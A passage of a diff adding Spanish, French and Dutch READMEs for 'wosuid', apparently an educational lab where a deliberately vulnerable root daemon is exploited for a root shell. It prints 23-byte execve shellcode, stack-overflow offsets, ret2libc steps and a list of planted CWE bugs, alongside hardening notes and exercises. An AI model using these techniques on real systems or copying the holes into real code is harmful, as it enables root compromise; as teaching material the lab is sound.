|
||||
`vulnerable_handler`, `win()`, el `lea -0x50(%rbp)` que direcciona `buf`, y
|
||||
el primer `ret` desnudo. A partir del desplazamiento calcula
|
||||
`rip_off = 80 + 8 = 88`. Nada está hardcodeado; sobrevive a una
|
||||
recompilación.
|
||||
2. **Auto-introspección** — lee su propio `/proc/self/maps` y hace `dlsym()` de
|
||||
`system`/`read` para aprender los *offsets* de libc. La base libc del
|
||||
objetivo es `leaked_read − off_read`, luego `system = base + off_system`,
|
||||
etc. Esa aritmética de delta es la razón por la que los exploits sobreviven
|
||||
a las versiones de libc.
|
||||
3. **Conecta** — lee el banner/las fugas (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||
4. **Construye el payload** — para `shellcode`: 23 bytes de código máquina,
|
||||
basura hasta `rip_off`, luego la RIP guardada = `buf` (para que el `ret`
|
||||
salte dentro del código). Para `ret2win`/`ret2libc`: direcciones calculadas
|
||||
del análisis — no se necesita ejecución de pila.
|
||||
5. **El fix de alineación** — un `ret` desnudo secuestrado da a la callee
|
||||
`rsp ≡ 8 (mod 16)`, y el código SSE2 de glibc falla con `movaps` en una pila
|
||||
mal alineada (el crash-reporter registra `si_addr=(nil)` — la pista).
|
||||
foowosc inserta un gadget `ret` extra antes del objetivo real y restaura la
|
||||
invariante. Una técnica de guante de seda en un laboratorio de shellcode,
|
||||
pero es la diferencia entre un payload que "a veces funciona" y uno que
|
||||
siempre funciona.
|
||||
6. **Envía, luego retransmite** — el proceso víctima *es* el shell; este
|
||||
proceso solo splissea bytes. Sin shell local, sin otro lector — el bug del
|
||||
cursor de lectura único (un byte comido por trozo) está documentado en
|
||||
`become_shell()`.
|
||||
|
||||
---
|
||||
|
||||
## Los errores deliberados del demonio (todos en `foowosd.c`, todas clases CWE reales)
|
||||
|
||||
| # | error | CWE | nota |
|
||||
|---|-----|-----|------|
|
||||
| 1 | `read(fd, buf, 512)` en un búfer de pila de 64 bytes | CWE-120 | el desbordamiento: 448 bytes más allá de `buf`, RIP guardada en +88 |
|
||||
| 2 | solo `snprintf(line, …, "%.*s", …)`; pero `%` del atacante en el camino de eco | CWE-134 | la fuga es aquí el payload real; un `%n` en un proceso *root* sería write-what-where como root |
|
||||
| 3 | los hijos conservan root mientras manejan entradas no confiables | CWE-271 | el `drop_privs()` correcto (setgroups→setgid→setuid, en ese orden, con verificación) está en el archivo, comentado, *deliberadamente nunca llamado* |
|
||||
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` revelados a cualquier cliente | CWE-200 | sin estas fugas, las técnicas de shellcode y ret2libc no podrían calcular direcciones (ASLR las vencería) |
|
||||
|
||||
El handler tiene exactamente la misma forma `buf[64]`/`read(512)` que los otros
|
||||
dos laboratorios, así que el pipeline común de reconocimiento basado en objdump
|
||||
funciona sin cambios.
|
||||
|
||||
---
|
||||
|
||||
## Cómo inspeccionar el demonio (camino de aprendizaje)
|
||||
|
||||
```
|
||||
make status # ¿corre? ¿como qué uid? se muestra el estado del archivo
|
||||
make run-root # o run / run-root-ns
|
||||
./foowosc -t leak # mira el banner y las fugas, no envíes nada
|
||||
./foowosc -t demo # desbordamiento de basura -> SIGSEGV, registrado con RIP/rsp
|
||||
./foowosc -t shellcode # el shell root interactivo
|
||||
make test-root # matriz completa, todas las técnicas, --must-root
|
||||
```
|
||||
|
||||
Crash-reporter: En SIGSEGV, el demonio registra la dirección de error, RIP y
|
||||
RSP. Un `ret` dentro de un `0x4141…` no canónico falla en el `ret` mismo (RIP
|
||||
como `0x4028xx`, `si_addr=(nil)`) — bueno saberlo antes de leer mal una línea
|
||||
de log como desreferencia NULL.
|
||||
|
||||
---
|
||||
|
||||
## Por qué el shellcode es de 23 bytes, no de 32
|
||||
|
||||
```
|
||||
31 f6 xor esi, esi ; argv = NULL
|
||||
31 d2 xor edx, edx ; envp = NULL
|
||||
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||
57 push rdi
|
||||
48 89 e7 mov rdi, rsp
|
||||
6a 3b push 0x3b ; 59 = execve
|
||||
58 pop rax
|
||||
0f 05 syscall
|
||||
```
|
||||
|
||||
El laboratorio SUID necesita `setreuid(0,0)` delante de esto. Este laboratorio
|
||||
no, por la razón repetida en todas partes: **ruid ya es 0**, porque root inició
|
||||
el proceso. `make verify` prueba que los bytes en `foowosc.c` son, byte a byte,
|
||||
lo que `shellcode.S` ensambla.
|
||||
|
||||
---
|
||||
|
||||
## Mitigaciones — qué cambia `make hardened`
|
||||
|
||||
Build endurecida (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||
|
||||
| técnica | `foowosd` vulnerable | `foowosd_hardened` endurecido |
|
||||
|-----------|----------------------|------------------------------|
|
||||
| `shellcode` | shell root (pila ejecutable) | SIGSEGV en la comprobación de canary / NX |
|
||||
| `ret2win` / `ret2libc` | shell root | la canary aborta el `ret` — pero nota: una build *PIE* también vuelve aleatorias estas direcciones |
|
||||
| `demo` | SIGSEGV, registrado | SIGSEGV, registrado |
|
||||
|
||||
`make test-hardened` lo demuestra en vivo. La observación importante no es solo
|
||||
que las mitigaciones mataron las técnicas — es que **no** convirtieron al
|
||||
demonio en "no-root". Una build endurecida que todavía se *inicia* como root
|
||||
sigue siendo un demonio root; la mitigación solo sube el listón para el
|
||||
atacante. Mínimo privilegio (`drop_privs()`) y seguridad de memoria son dos
|
||||
errores distintos, y un demonio que no necesita root no debería tenerlo.
|
||||
|
||||
---
|
||||
|
||||
## Barandillas de seguridad (la misma política que el laboratorio SUID)
|
||||
|
||||
- **Solo loopback.** foowosd se niega a enlazarse a nada que no sea `127.0.0.1`
|
||||
/ `localhost` / `::1`, salvo que des `-L`. Un demonio root en una interfaz
|
||||
real es un *servicio root remoto*. `-L` existe solo para mostrar la
|
||||
barandilla; no lo uses en algo que importe.
|
||||
- **El estado se registra en voz alta.** Al arrancar imprime `ruid/euid` y si
|
||||
esto es un proceso root, para que siempre sepas qué resultado de exploit
|
||||
esperar.
|
||||
- **Los veredictos vienen del código de salida** en `make test*` (el código de
|
||||
retorno del harness pty), nunca de hacer grep de su stdout — la salida
|
||||
grepable miente.
|
||||
- **La pty debe correr en cooked + ECHO off**, si no, el harness ecoa su propia
|
||||
línea de comandos y falsifica el marcador. El harness apaga ECHO y mantiene
|
||||
ECHONL activo.
|
||||
- **Rito de limpieza:** `make stop` después de cada sesión. Si el demonio es
|
||||
propiedad de root, `stop` te dice que ejecutes `sudo pkill -x foowosd`.
|
||||
- Nunca ejecutes esto en un host que te importe. Existe para repartir shells
|
||||
`uid=0` por la interfaz loopback.
|
||||
|
||||
---
|
||||
|
||||
## Ejercicios
|
||||
|
||||
1. Ejecuta `make run` (demonio de usuario), luego `./foowosc -t shellcode`.
|
||||
¿Por qué el shell no es root? (Comprueba `ids=` en el banner — foowosc te
|
||||
lo dice antes de que siquiera te conectes.)
|
||||
2. `make stop && sudo make run-root && make test-root`. Explica a partir de la
|
||||
línea del banner por qué las cuatro técnicas dan ahora `uid=0(root)`.
|
||||
3. Encuentra `drop_privs()` en `foowosd.c` y lee *por qué el orden* de
|
||||
`setgroups → setgid → setuid` importa. Decide dónde en `main()` encajaría, y
|
||||
qué se vuelve la superficie de ataque del laboratorio cuando de verdad se
|
||||
llama.
|
||||
4. Calcula `rip_off` a mano desde `objdump -d foowosd`: encuentra el
|
||||
`lea -0xNN(%rbp)` de `buf` dentro de `vulnerable_handler`, luego `NN + 8`.
|
||||
foowosc hace exactamente eso; comprueba su cálculo contra el tuyo.
|
||||
5. `make hardened && make test-hardened`. ¿Qué técnica cae ante la canary, y
|
||||
cuál ante NX? ¿Por qué el endurecimiento no cambia lo que `make status`
|
||||
reporta sobre *el proceso*?
|
||||
6. Compara los shellcodes de los dos laboratorios: 23 bytes aquí, 32 para
|
||||
foosd. ¿Qué hacen los 9 bytes extra, y por qué solo se necesitan en el caso
|
||||
SUID?
|
||||
7. Lee el comentario de `become_shell()` sobre el cursor de lectura único.
|
||||
Reconstruye mentalmente el estado de fallo: dos lectores en un socket
|
||||
significa que el shell de login come un byte por trozo — "uid=1000…" llega
|
||||
como "id=1000…". ¿Por qué un proceso relay no puede tener nunca este error?
|
||||
|
||||
---
|
||||
|
||||
## Archivos
|
||||
|
||||
```
|
||||
foowosd.c el demonio root vulnerable (cada línea comentada)
|
||||
foowosc.c el exploit (cada línea comentada)
|
||||
shellcode.S el assembly de referencia para el payload de 23 bytes
|
||||
tests/pty_wosuid_test.c el harness pty (marcador + comprobación estricta de forma id)
|
||||
Makefile build / run / run-root / run-root-ns / test /
|
||||
test-root / verify / hardened / clean …
|
||||
```
|
||||
|
||||
Laboratorios hermanos: `../food.c`/`../fooc.c` (referencia user-level, puerto
|
||||
2342) y `../suid/` (demonio root SUID `foosd`/`foosc`, puerto 2343). Los
|
||||
puertos son deliberadamente distintos — puedes ejecutar los tres a la vez y
|
||||
cruzar sus líneas `ids=` en el banner.
|
||||
322
wosuid/README.FR.md
Normal file
322
wosuid/README.FR.md
Normal file
|
|
@ -0,0 +1,322 @@
|
|||
# Le lab `wosuid` — RCE root **sans** bit setuid
|
||||
|
||||
```
|
||||
foowosd un démon volontairement vulnérable qui est root parce qu'il a été
|
||||
*DÉMARRÉ* en tant que root (port 2344, loopback seulement par défaut)
|
||||
foowosc l'exploit : transforme un débordement de pile en un **shell** root
|
||||
en exécutant de la shellcode — les mêmes 23 octets qui ont cassé le
|
||||
démon user-level `food` du lab principal
|
||||
```
|
||||
|
||||
C'est le troisième lab de la série. Même chaîne d'outils d'exploit, même style,
|
||||
une différence fondamentale :
|
||||
|
||||
| Lab | comment le processus cible devient root | shell `uid=0(root)` ? |
|
||||
|----------|------------------------------------------------|----------------------|
|
||||
| food/fooc | jamais — c'est un démon utilisateur ordinaire | non |
|
||||
| foosd/foosc | le bit SUID (`chmod u+s`) — euid 0, ruid 1000 | oui (exige `setreuid` dans la shellcode, car bash réinitialise euid→ruid) |
|
||||
| **foowosd/foowosc** | **aucun — root *démarre* le démon** (sudo / systemd `User=root`) | **oui (shellcode `execve` ordinaire)** |
|
||||
|
||||
Le bit setuid est un *moyen de transport* des privilèges — pas les privilèges
|
||||
eux-mêmes. Un démon démarré par root a des uids réel, effectif et sauvegardé
|
||||
tous égaux à 0. Pour le noyau, c'est root, point final ; il ne peut pas et ne
|
||||
veut pas savoir si le processus y est arrivé via `+s` sur un fichier ou via
|
||||
`sudo ./foowosd`. Le débordement d'un démon démarré par root est donc un exploit
|
||||
root — *« je n'ai pas de binaires SUID » n'est pas la même chose que « je ne
|
||||
suis pas exploitable ».*
|
||||
|
||||
C'est toute la leçon de ce lab. Tout ce qui suit, c'est le mécanisme.
|
||||
|
||||
---
|
||||
|
||||
## Démarrage rapide (ce que l'utilisateur a demandé)
|
||||
|
||||
```
|
||||
cd wosuid
|
||||
make # compile le démon, l'exploit et la harnesse de test
|
||||
```
|
||||
|
||||
### Le vrai truc — exécutez le démon en tant que **root**
|
||||
|
||||
```
|
||||
sudo make run-root # démarre foowosd en uid 0 (processus, pas état de fichier)
|
||||
make test-root # chaque technique doit maintenant donner uid=0(root)
|
||||
```
|
||||
|
||||
### Pas de sudo ? Le chemin noyau identique via un user namespace
|
||||
|
||||
```
|
||||
make run-root-ns # uid 0 dans un user namespace — aucun mot de passe requis
|
||||
make test-root # mêmes verdicts ; utilisé par la CI et tous ceux sans sudo
|
||||
```
|
||||
|
||||
### Référence — démon comme votre utilisateur normal (root nulle part)
|
||||
|
||||
```
|
||||
make run # foowosd tourne avec vos uids
|
||||
make test # les exploits atterrissent des shells, mais `root` est attendu MISSING
|
||||
```
|
||||
|
||||
### Rituel de nettoyage (toujours : c'est un lab de shell root)
|
||||
|
||||
```
|
||||
make stop
|
||||
```
|
||||
|
||||
`foowosd` n'est *pas* setuid, et rien dans ce répertoire ne fait jamais
|
||||
`chmod +s` — c'est le but. L'état dangereux est **le processus**, pas le
|
||||
fichier.
|
||||
|
||||
---
|
||||
|
||||
## Quand on vous dit de poser le bit SUID
|
||||
|
||||
Ça ne vous sera **pas** demandé. Ce lab n'a délibérément pas de bit SUID :
|
||||
|
||||
- `foowosd` est compilé, vous appartient et a des permissions ordinaires comme
|
||||
n'importe quel programme.
|
||||
- Il devient root comme les vrais démons — en étant *démarré* par root.
|
||||
- `make run-root` utilise `sudo` pour exactement ça, et `make run-root-ns`
|
||||
obtient un vrai processus uid 0 sans rien de tout cela.
|
||||
|
||||
Le bit Suid appartient au lab *frère* (`foosd`). Le contraste entre les deux
|
||||
est le programme :
|
||||
|
||||
1. Lab SUID : le bit donne **euid 0, mais ruid 1000** → `execve("/bin/sh")`
|
||||
est dégradé par le gardien de bash (`euid != ruid` → reset) → la shellcode
|
||||
doit d'abord appeler `setreuid(0,0)` (payload de 32 octets).
|
||||
2. Ce lab : root **démarre** le processus → **ruid == euid == 0** → le
|
||||
gardien n'a rien à réinitialiser → la shellcode `execve` ordinaire de 23
|
||||
octets garde root.
|
||||
|
||||
Même débordement. Même technique. *Origine* des privilèges différente, forme de
|
||||
payload différente. C'est la leçon en miniature.
|
||||
|
||||
---
|
||||
|
||||
## Le protocole
|
||||
|
||||
Quel que soit le type de client qui se connecte, foowosd le salue avec :
|
||||
|
||||
```
|
||||
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (le banner + les fuites)
|
||||
BUF=0x7ffd… (l'adresse du tampon)
|
||||
```
|
||||
|
||||
`ids=euid/ruid` est le canal *« suis-je root ? »*. foowosc affiche un
|
||||
avertissement sonore quand euid n'est pas 0 (c'est-à-dire que vous avez démarré
|
||||
le démon en utilisateur ordinaire) : la payload atterrit quand même, mais le
|
||||
shell devient un shell utilisateur, et appeler l'exploit « cassé » serait faux —
|
||||
il n'escalade juste pas.
|
||||
|
||||
> Note d'orthographe : `ids=`, pas `euid=`/`ruid=`. La harnesse de test prouve
|
||||
> un `id` vivant en matchant la forme littérale `uid=NNN(`, donc le banner ne
|
||||
> doit jamais contenir une sous-chaîne qui satisfait elle-même le contrôle.
|
||||
> (Dans le lab SUID, exactement ce piège a produit un spectaculaire faux
|
||||
> positif.)
|
||||
|
||||
---
|
||||
|
||||
## Les techniques d'exploit (`foowosc -t …`)
|
||||
|
||||
Les quatre chemins d'exploit ci-dessous fonctionnent contre foowosd. Quand le
|
||||
démon est root, **tout ce qui spawn quelque chose donne root** — contrairement
|
||||
au lab SUID où ret2win/ret2libc étaient silencieusement dégradés en uid 1000
|
||||
par le gardien de bash. Ici, il n'y a pas de mismatch à surveiller.
|
||||
|
||||
| `-t` | ce qui se passe | quand le démon est root |
|
||||
|---------------|---------------------------------------------------------------------|---------------------|
|
||||
| `shellcode` | `execve("/bin/sh", NULL, NULL)` de 23 octets s'exécute sur la pile. | **shell root** (par défaut) |
|
||||
| `ret2win` | saut vers `win()` → `execl("/bin/sh")` | **shell root** |
|
||||
| `ret2libc` | ROP : `pop rdi; ret` → `"/bin/sh"` → `system()` | **shell root** |
|
||||
| `demo` | débordement de bourrage uniquement — attendez un SIGSEGV dans le log | crash, par conception |
|
||||
| `leak` | affiche juste les fuites, n'envoie pas de payload | n/a |
|
||||
|
||||
```
|
||||
./foowosc -t shellcode # interactif ; cible par défaut 127.0.0.1:2344
|
||||
./foowosc -t shellcode -n # envoyer et rapporter, pas de session interactive
|
||||
```
|
||||
|
||||
Une session interactive réussie relaie votre terminal vers le shell *sur la
|
||||
victime* — il y a exactement un shell dans le tableau, et c'est `/bin/sh` qui
|
||||
tourne en root à l'intérieur de foowosd. Tapez `id` pour voir `uid=0(root)`.
|
||||
|
||||
### Pourquoi il n'y a pas de technique `ret2win-root` ici
|
||||
|
||||
foosc en avait une — elle sautait vers un `win_root()` qui appelait
|
||||
`setreuid(0,0)` avant l'exec, parce qu'un processus setuid tournait avec un uid
|
||||
réel qui disait encore 1000. Un processus *démarré* par root a déjà l'uid réel
|
||||
à 0 ; il n'y a rien à nettoyer, donc la fonction et la technique supplémentaires
|
||||
n'auraient rien appris. Supprimé.
|
||||
|
||||
---
|
||||
|
||||
## Ce que fait foowosc, étape par étape
|
||||
|
||||
1. **Analyse statique** — `objdump -d` de `./foowosd`. Trouve
|
||||
`vulnerable_handler`, `win()`, le `lea -0x50(%rbp)` qui adresse `buf`, et le
|
||||
premier `ret` nu. À partir du décalage, il calcule `rip_off = 80 + 8 = 88`.
|
||||
Rien n'est hardcodé ; ça survit à une recompilation.
|
||||
2. **Auto-introspection** — lit son propre `/proc/self/maps` et `dlsym()`e
|
||||
`system`/`read` pour apprendre les *offsets* de la libc. La base libc de la
|
||||
cible est `leaked_read − off_read`, puis `system = base + off_system`, etc.
|
||||
Cette arithmétique de delta est la raison pour laquelle les exploits
|
||||
survivent aux versions de libc.
|
||||
3. **Connecte** — lit le banner/les fuites (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||
4. **Construit la payload** — pour `shellcode` : 23 octets de code machine, du
|
||||
bourrage jusqu'à `rip_off`, puis la RIP sauvegardée = `buf` (pour que le
|
||||
`ret` saute dans le code). Pour `ret2win`/`ret2libc` : des adresses
|
||||
calculées depuis l'analyse — aucune exécution de pile nécessaire.
|
||||
5. **Le correctif d'alignement** — un `ret` nu détourné donne au callee
|
||||
`rsp ≡ 8 (mod 16)`, et le code SSE2 de glibc fault en `movaps` sur une pile
|
||||
mal alignée (le crash-reporter journalise `si_addr=(nil)` — l'indice).
|
||||
foowosc insère un gadget `ret` supplémentaire avant la vraie cible et
|
||||
rétablit l'invariant. Une technique de gants de soie dans un lab de
|
||||
shellcode, mais c'est la différence entre une payload qui « marche parfois »
|
||||
et une qui marche toujours.
|
||||
6. **Envoie, puis relaie** — le processus victime *est* le shell ; ce processus
|
||||
ne fait que splisser des octets. Pas de shell local, pas d'autre lecteur —
|
||||
le bug à curseur de lecture unique (un octet mangé par morceau) est
|
||||
documenté dans `become_shell()`.
|
||||
|
||||
---
|
||||
|
||||
## Les bugs délibérés du démon (tous dans `foowosd.c`, toutes de vraies classes CWE)
|
||||
|
||||
| # | bug | CWE | note |
|
||||
|---|-----|-----|------|
|
||||
| 1 | `read(fd, buf, 512)` dans un tampon de pile de 64 octets | CWE-120 | le débordement : 448 octets au-delà de `buf`, RIP sauvegardée à +88 |
|
||||
| 2 | seulement `snprintf(line, …, "%.*s", …)` ; mais `%` de l'attaquant dans le chemin d'echo | CWE-134 | la fuite est ici la vraie payload ; un `%n` dans un processus *root* serait un write-what-where en root |
|
||||
| 3 | les enfants gardent root en traitant des entrées non fiables | CWE-271 | le `drop_privs()` correct (setgroups→setgid→setuid, dans cet ordre, avec vérification) est dans le fichier, commenté, *délibérément jamais appelé* |
|
||||
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` révélés à n'importe quel client | CWE-200 | sans ces fuites, les techniques shellcode et ret2libc ne pourraient pas calculer d'adresses (ASLR les vaincrait) |
|
||||
|
||||
Le handler a exactement la même forme `buf[64]`/`read(512)` que les deux autres
|
||||
labs, donc le pipeline commun de reconnaissance par objdump fonctionne sans
|
||||
changement.
|
||||
|
||||
---
|
||||
|
||||
## Comment inspecter le démon (parcours d'apprentissage)
|
||||
|
||||
```
|
||||
make status # tourne-t-il ? en quel uid ? l'état du fichier est montré
|
||||
make run-root # ou run / run-root-ns
|
||||
./foowosc -t leak # voyez le banner et les fuites, n'envoyez rien
|
||||
./foowosc -t demo # débordement de bourrage -> SIGSEGV, journalisé avec RIP/rsp
|
||||
./foowosc -t shellcode # le shell root interactif
|
||||
make test-root # matrice complète, toutes les techniques, --must-root
|
||||
```
|
||||
|
||||
Crash-reporter : Au SIGSEGV, le démon journalise l'adresse d'erreur, RIP et
|
||||
RSP. Un `ret` dans un `0x4141…` non canonique fault sur le `ret` lui-même (RIP
|
||||
comme `0x4028xx`, `si_addr=(nil)`) — bon à savoir avant de lire une ligne de log
|
||||
comme une déréférence NULL.
|
||||
|
||||
---
|
||||
|
||||
## Pourquoi la shellcode fait 23 octets, pas 32
|
||||
|
||||
```
|
||||
31 f6 xor esi, esi ; argv = NULL
|
||||
31 d2 xor edx, edx ; envp = NULL
|
||||
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
|
||||
57 push rdi
|
||||
48 89 e7 mov rdi, rsp
|
||||
6a 3b push 0x3b ; 59 = execve
|
||||
58 pop rax
|
||||
0f 05 syscall
|
||||
```
|
||||
|
||||
Le lab SUID a besoin de `setreuid(0,0)` devant ça. Pas ce lab, pour la raison
|
||||
répétée partout : **ruid est déjà 0**, parce que root a démarré le processus.
|
||||
`make verify` prouve que les octets dans `foowosc.c` sont, octet pour octet, ce
|
||||
que `shellcode.S` assemble.
|
||||
|
||||
---
|
||||
|
||||
## Contre-mesures — ce que `make hardened` change
|
||||
|
||||
Build durcie (`-fstack-protector-strong -fPIE -pie -z noexecstack`) :
|
||||
|
||||
| technique | `foowosd` vulnérable | `foowosd_hardened` durci |
|
||||
|-----------|----------------------|------------------------------|
|
||||
| `shellcode` | shell root (pile exécutable) | SIGSEGV au contrôle de canary / NX |
|
||||
| `ret2win` / `ret2libc` | shell root | la canary abort le `ret` — mais notez : une build *PIE* rend aussi ces adresses aléatoires |
|
||||
| `demo` | SIGSEGV, journalisé | SIGSEGV, journalisé |
|
||||
|
||||
`make test-hardened` le démontre en direct. L'observation importante n'est pas
|
||||
seulement que les contre-mesures ont tué les techniques — c'est qu'elles n'ont
|
||||
**pas** rendu le démon « non-root ». Une build durcie qui est toujours
|
||||
*démarrée* en root reste un démon root ; la contre-mesure ne fait que relever la
|
||||
barre pour l'attaquant. Moindre privilège (`drop_privs()`) et sécurité mémoire
|
||||
sont deux bugs différents, et un démon qui n'a pas besoin de root ne devrait pas
|
||||
en avoir.
|
||||
|
||||
---
|
||||
|
||||
## Garde-fous (même politique que le lab SUID)
|
||||
|
||||
- **Loopback seulement.** foowosd refuse de se lier ailleurs qu'à `127.0.0.1` /
|
||||
`localhost` / `::1`, sauf si vous donnez `-L`. Un démon root sur une vraie
|
||||
interface est un *service root distant*. `-L` existe seulement pour montrer
|
||||
le garde-fou ; ne l'utilisez pas sur quelque chose qui compte.
|
||||
- **L'état est journalisé à voix haute.** Au démarrage, il affiche `ruid/euid`
|
||||
et si c'est un processus root, pour que vous sachiez toujours quel résultat
|
||||
d'exploit attendre.
|
||||
- **Les verdicts viennent du code de sortie** dans `make test*` (code retour
|
||||
de la harnesse pty), jamais d'un grep sur sa sortie — la sortie grepable
|
||||
ment.
|
||||
- **Le pty doit tourner en cooked + ECHO off**, sinon la harnesse s'échoit sa
|
||||
propre ligne de commande et falsifie le marqueur. La harnesse désactive ECHO
|
||||
et garde ECHONL actif.
|
||||
- **Rituel de nettoyage :** `make stop` après chaque session. Si le démon
|
||||
appartient à root, `stop` vous dit de lancer `sudo pkill -x foowosd`.
|
||||
- Ne faites jamais tourner ça sur une machine à laquelle vous tenez. Ça existe
|
||||
pour distribuer des shells `uid=0` sur l'interface loopback.
|
||||
|
||||
---
|
||||
|
||||
## Exercices
|
||||
|
||||
1. Lancez `make run` (démon utilisateur), puis `./foowosc -t shellcode`.
|
||||
Pourquoi le shell n'est-il pas root ? (Vérifiez `ids=` dans le banner —
|
||||
foowosc vous le dit avant même que vous vous connectiez.)
|
||||
2. `make stop && sudo make run-root && make test-root`. Expliquez à partir de
|
||||
la ligne du banner pourquoi les quatre techniques donnent maintenant
|
||||
`uid=0(root)`.
|
||||
3. Trouvez `drop_privs()` dans `foowosd.c` et lisez *pourquoi l'ordre* de
|
||||
`setgroups → setgid → setuid` compte. Décidez où dans `main()` il aurait sa
|
||||
place, et ce que devient la surface d'attaque du lab quand il est
|
||||
réellement appelé.
|
||||
4. Calculez `rip_off` à la main depuis `objdump -d foowosd` : trouvez le
|
||||
`lea -0xNN(%rbp)` de `buf` dans `vulnerable_handler`, puis `NN + 8`. foowosc
|
||||
fait exactement ça ; vérifiez son calcul contre le vôtre.
|
||||
5. `make hardened && make test-hardened`. Quelle technique tombe sur la canary,
|
||||
et laquelle sur NX ? Pourquoi le durcissement ne change-t-il pas ce que
|
||||
`make status` rapporte sur *le processus* ?
|
||||
6. Comparez les shellcodes des deux labs : 23 octets ici, 32 pour foosd. Que
|
||||
font les 9 octets supplémentaires, et pourquoi ne sont-ils nécessaires que
|
||||
dans le cas SUID ?
|
||||
7. Lisez le commentaire de `become_shell()` sur la curseur de lecture unique.
|
||||
Reconstruisez mentalement l'état d'échec : deux lecteurs sur une socket,
|
||||
c'est le shell de connexion qui mange un octet par morceau — « uid=1000… »
|
||||
arrive comme « id=1000… ». Pourquoi un processus relay ne peut-il jamais
|
||||
avoir ce bug ?
|
||||
|
||||
---
|
||||
|
||||
## Fichiers
|
||||
|
||||
```
|
||||
foowosd.c le démon root vulnérable (chaque ligne commentée)
|
||||
foowosc.c l'exploit (chaque ligne commentée)
|
||||
shellcode.S l'assembleur de référence pour la payload de 23 octets
|
||||
tests/pty_wosuid_test.c la harnesse pty (marqueur + contrôle strict de forme id)
|
||||
Makefile build / run / run-root / run-root-ns / test /
|
||||
test-root / verify / hardened / clean …
|
||||
```
|
||||
|
||||
Labs frères : `../food.c`/`../fooc.c` (baseline user-level, port 2342) et
|
||||
`../suid/` (démon root SUID `foosd`/`foosc`, port 2343). Les ports sont
|
||||
délibérément différents — vous pouvez faire tourner les trois en même temps et
|
||||
croiser leurs lignes `ids=` dans le banner.
|
||||
311
wosuid/README.NL.md
Normal file
311
wosuid/README.NL.md
Normal file
|
|
@ -0,0 +1,311 @@
|
|||
# Het `wosuid`-lab — root-RCE **zonder** setuid-bit
|
||||
|
||||
```
|
||||
foowosd een bewust kwetsbare daemon die root is omdat hij als *GESTART* als
|
||||
root (poort 2344, standaard alleen loopback)
|
||||
foowosc het exploit: verandert een stack-overloop in een **root**-shell door
|
||||
shellcode uit te voeren — dezelfde 23 bytes die de user-level-
|
||||
`food`-daemon in het hoofdlab kraakten
|
||||
```
|
||||
|
||||
Dit is het derde lab in de serie. Dezelfde exploit-werktuigketen, dezelfde stijl,
|
||||
één fundamenteel verschil:
|
||||
|
||||
| Lab | hoe het doelproces root wordt | `uid=0(root)`-shell? |
|
||||
|----------|------------------------------------------------|----------------------|
|
||||
| food/fooc | nooit — het is een gewone user-daemon | nee |
|
||||
| foosd/foosc | de SUID-bit (`chmod u+s`) — euid 0, ruid 1000 | ja (vereist `setreuid` in de shellcode, want bash reset euid→ruid) |
|
||||
| **foowosd/foowosc** | **geen — root *start* de daemon** (sudo / systemd `User=root`) | **ja (gewone `execve`-shellcode)** |
|
||||
|
||||
De setuid-bit is een *transportmiddel* voor privileges — niet de privileges
|
||||
zelf. Een daemon die door root is gestart, heeft reële, effectieve en
|
||||
opgeslagen uid allemaal 0. Voor de kernel is dat root, punt uit; hij kan en wil
|
||||
niet weten of het proces daar via `+s` op een bestand of via `sudo ./foowosd`
|
||||
is gekomen. De overloop in een root-gestarte daemon is dus een root-exploit — *"ik
|
||||
heb geen SUID-binaries" is niet hetzelfde als "ik ben niet exploiteerbaar".*
|
||||
|
||||
Dat is de hele les van dit lab. Al het andere hieronder is het mechanisme.
|
||||
|
||||
---
|
||||
|
||||
## Snelle start (wat de gebruiker vroeg)
|
||||
|
||||
```
|
||||
cd wosuid
|
||||
make # bouwt de daemon, het exploit en de test-harness
|
||||
```
|
||||
|
||||
### Het echte werk — draai de daemon als **root**
|
||||
|
||||
```
|
||||
sudo make run-root # start foowosd als uid 0 (proces, geen bestandstoestand)
|
||||
make test-root # elke techniek moet nu uid=0(root) geven
|
||||
```
|
||||
|
||||
### Geen sudo? Het identieke kernelpad via een user-namespace
|
||||
|
||||
```
|
||||
make run-root-ns # uid 0 in een user-namespace — geen wachtwoord nodig
|
||||
make test-root # dezelfde oordelen; gebruikt door CI en iedereen zonder sudo
|
||||
```
|
||||
|
||||
### Baseline — daemon als je normale gebruiker (nergens root)
|
||||
|
||||
```
|
||||
make run # foowosd draait met jouw uids
|
||||
make test # exploits landen shells, maar `root` wordt verwacht als MISSING
|
||||
```
|
||||
|
||||
### Opruimritueel (altijd: dit is een root-shell-lab)
|
||||
|
||||
```
|
||||
make stop
|
||||
```
|
||||
|
||||
`foowosd` is *niet* setuid, en niets in deze map doet ooit `chmod +s` — dat is
|
||||
het punt. De gevaarlijke toestand is **het proces**, niet het bestand.
|
||||
|
||||
---
|
||||
|
||||
## Wanneer je wordt gezegd de SUID-bit te zetten
|
||||
|
||||
Dat zul je **niet** worden. Dit lab heeft bewust geen SUID-bit:
|
||||
|
||||
- `foowosd` wordt gebouwd, is eigendom van jou en heeft gewone toestanden als
|
||||
elk ander programma.
|
||||
- Hij wordt root zoals echte daemons dat doen — door *gestart* te worden door
|
||||
root.
|
||||
- `make run-root` gebruikt `sudo` voor precies dat, en `make run-root-ns`
|
||||
regelt een echte uid-0-proces zonder ook maar iets daarvan.
|
||||
|
||||
De Suid-bit hoort bij het *zuster*-lab (`foosd`). Het contrast tussen de twee
|
||||
is de leerstof:
|
||||
|
||||
1. SUID-lab: de bit geeft **euid 0, maar ruid 1000** → `execve("/bin/sh")`
|
||||
wordt gedegradeerd door de wacht van bash (`euid != ruid` → reset) → de
|
||||
shellcode moet eerst `setreuid(0,0)` aanroepen (32-byte-payload).
|
||||
2. Dit lab: root **start** het proces → **ruid == euid == 0** → de wacht heeft
|
||||
niets om te resetten → de gewone 23-byte `execve`-shellcode houdt root.
|
||||
|
||||
Dezelfde overloop. Dezelfde techniek. Andere *oorsprong* van privileges, andere
|
||||
payload-vorm. Dat is de les in het klein.
|
||||
|
||||
---
|
||||
|
||||
## Het protocol
|
||||
|
||||
Welke client er ook verbindt, foowosd begroet hem met:
|
||||
|
||||
```
|
||||
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banner + leaks)
|
